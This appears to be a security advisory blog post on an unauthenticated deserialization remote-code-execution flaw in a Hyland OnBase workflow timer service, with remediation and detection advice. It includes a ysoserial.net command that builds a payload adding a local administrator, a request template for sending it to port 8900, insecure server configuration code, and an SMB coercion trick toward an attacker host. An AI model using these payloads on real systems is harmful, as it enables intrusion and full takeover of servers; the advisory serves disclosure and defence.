Feb 18, 2026·6 min read·8 visits
Unauthenticated RCE in Hyland OnBase Workflow Timer Service via TCP port 8900. The service uses insecure .NET Remoting with BinaryFormatter. Attackers can send a crafted payload to execute code as NT AUTHORITY\SYSTEM. Fix: Uninstall the legacy service and migrate to Unity Scheduler.
In the world of enterprise software, nothing ever truly dies; it just becomes a legacy service running with SYSTEM privileges. CVE-2026-26221 is a catastrophic, unauthenticated Remote Code Execution vulnerability in Hyland OnBase's Workflow Timer Service. By leveraging the ancient and insecure .NET Remoting protocol, attackers can turn a helper service into a full-blown command center, executing arbitrary code via insecure deserialization. It’s a classic case of 2005-era architecture meeting modern exploitation tools, resulting in a CVSS 10.0 nightmare.
Enterprise Content Management (ECM) systems like Hyland OnBase are the invisible backbone of corporate bureaucracy. They store invoices, medical records, and legal documents. They are the digital filing cabinets of the Fortune 500. And, like actual filing cabinets, they tend to accumulate dust in the corners.
Meet the Workflow Timer Service. Its job is mundane: scheduling tasks and keeping workflows moving. But under the hood, this service is powered by .NET Remoting, a technology Microsoft explicitly deprecated years ago with a warning label that might as well say "DO NOT USE OR YOU WILL BE OWNED."
In 2026, finding .NET Remoting exposed to the network is like finding a Windows XP machine directly connected to the internet. It’s a museum piece, but one that grants NT AUTHORITY\SYSTEM privileges to anyone who knows how to ask politely (or impolitely) via TCP port 8900.
The root cause here is CWE-502: Deserialization of Untrusted Data. Specifically, the OnBase Workflow Timer Service exposes endpoints like TimerServiceAPI.rem and TimerServiceEvents.rem. These endpoints listen for incoming objects serialized using the BinaryFormatter.
The BinaryFormatter is the 'moldy bread' of the .NET ecosystem. It is powerful, convenient, and incredibly dangerous. When it deserializes data, it doesn't just read values; it reconstructs entire objects and their types before the application has a chance to say "Wait, I didn't order a reverse shell!"
Here is the logic flow of the failure:
BinaryFormatter.Deserialize().> [!ALERT] No Authentication Required
> The critical failure here is that the .rem endpoints are exposed without any authentication check prior to deserialization. The service processes the payload blindly.
While we don't have the raw source code of the proprietary Hyland service, we can reconstruct the crime scene based on how .NET Remoting is typically implemented—and exploited. A vulnerable server configuration usually looks innocent enough to a developer who hasn't read a security bulletin since 2010.
To expose a service via Remoting, you typically register a channel. The code likely resembles this:
// Pseudo-code of the vulnerability
BinaryServerFormatterSinkProvider provider = new BinaryServerFormatterSinkProvider();
provider.TypeFilterLevel = TypeFilterLevel.Full; // <--- The smoking gun
IDictionary props = new Hashtable();
props["port"] = 8900;
TcpChannel channel = new TcpChannel(props, null, provider);
ChannelServices.RegisterChannel(channel, false);
RemotingConfiguration.RegisterWellKnownServiceType(
typeof(TimerServiceAPI),
"TimerServiceAPI.rem",
WellKnownObjectMode.Singleton
);TypeFilterLevel.Full MattersSetting TypeFilterLevel to Full is often required for complex objects to pass over the wire, but it also allows the deserializer to instantiate any serializable type available in the memory space of the application. This includes dangerous types utilized by exploit chains like TypeConfuseDelegate.
Exploiting this is trivially easy for anyone with ysoserial.net. The attack doesn't require complex memory corruption or heap spraying. It just requires sending a specific packet.
/TimerServiceAPI.rem.TypeConfuseDelegate gadget is the gold standard for .NET RCE because it works on almost all versions of the framework.# Generating the payload with ysoserial.net
ysoserial.exe -f BinaryFormatter \
-g TypeConfuseDelegate \
-c "cmd.exe /c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add" \
-o base64POST /TimerServiceAPI.rem HTTP/1.1
Host: target-server:8900
Content-Type: application/octet-stream
Content-Length: [Length]
[...Binary Header...][...Malicious Serialized Object...]BinaryFormatter kicks in. It reconstructs the delegate, invokes it, and suddenly you have a new local administrator. Since the Timer Service typically runs as SYSTEM, the attacker now owns the box completely.Why is this a CVSS 10.0? Because it checks every box on the "worst case scenario" list.
SYSTEM. This is the highest privilege level on Windows, above Administrator. It can dump credentials (LSASS), install persistent rootkits, and disable EDR solutions.Furthermore, even if RCE wasn't possible (it is), the endpoint supports SMB coercion. By sending a payload pointing to \\attacker-ip\share, the service will try to authenticate via NTLM, allowing the attacker to capture the hash and crack it or relay it.
There is no "patching" .NET Remoting to make it safe. The architecture itself is the vulnerability. Hyland's advice is clear, and for once, the vendor solution isn't just "upgrade," it's "delete."
Hyland.Core.Workflow.NTService.exe service entirely. If the binary isn't there, it can't be exploited.> [!TIP] Detecting the Legacy Service
> Run this PowerShell command to check if the vulnerable service is active on your servers:
> Get-Service | Where-Object { $_.Name -like "*Workflow Timer*" }
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OnBase Workflow Timer Service Hyland | 8.0 - 17.0.x | N/A (Migrate to Unity Scheduler) |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 (Deserialization of Untrusted Data) |
| CVSS v4.0 | 10.0 (Critical) |
| Attack Vector | Network (TCP/8900) |
| Authentication | None Required |
| Privileges | NT AUTHORITY\SYSTEM |
| Exploit Reliability | High (Stable) |
The application deserializes untrusted data without sufficiently verifying the resulting data will be valid.